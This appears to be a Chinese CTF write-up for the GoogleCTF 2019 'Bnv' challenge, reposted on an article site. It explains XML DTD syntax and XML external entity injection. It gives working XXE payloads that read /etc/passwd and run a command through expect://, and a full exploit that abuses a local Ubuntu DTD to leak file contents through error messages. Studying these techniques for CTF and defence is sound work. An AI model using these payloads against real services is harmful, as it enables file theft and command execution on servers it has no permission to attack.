xxe-本地dtd引用(8-17)
程序员文章站
2022-05-14 08:49:27
...
[GoogleCTF2019 Quals]Bnv
题目发包信息为json,但是如果服务器能够解析xml并且并没有相应的过滤的话,就有可能存在xxe漏洞,具体参见
神奇的Content-Type——在JSON中玩转XXE攻击
01 XML基础知识
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
外部引用DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
实体
<!ENTITY 实体名 实体值> 内部实体
<!ENTITY 实体名 SYSTEM url> 外部实体
<!ENTITY 实体名 PUBLIC "public_ID" "URL"> 外部普通实体
<!ENTITy % 实体名 SYSTEM "URL"> 外部参数实体
10 外部实体注入(XML External Entity即xxe)
当允许使用外部实体时可能出现任意文件读取、命令执行、内网探测等危险。
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd"> //文件读取
<!ENTITY b SYSTEM "expect://id"> //命令执行
]>
<c>&b;</c>
参数实体还能嵌套定义但是内层的参数实体的%需要进行HTML转义,否则会解析出错
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
11 引用本地DTD
当防火墙不允许引用外部DTD时,我们可以引用本地dtd文件
Ubuntu的是
/usr/share/yelp/dtd/docbookx.dtd
本题exp
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">//测试文件读取
//<!ENTITY % file SYSTEM "file:///etc/passwd"> //读取flag
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
*参考文章:[1]未知攻焉知防——XXE漏洞攻防
[2]Blind-XXE与Google CTF 2019-BNV
上一篇: 攻防世界_misc_新手村
下一篇: cad怎么快速统计建筑图中的绿地面积?
推荐阅读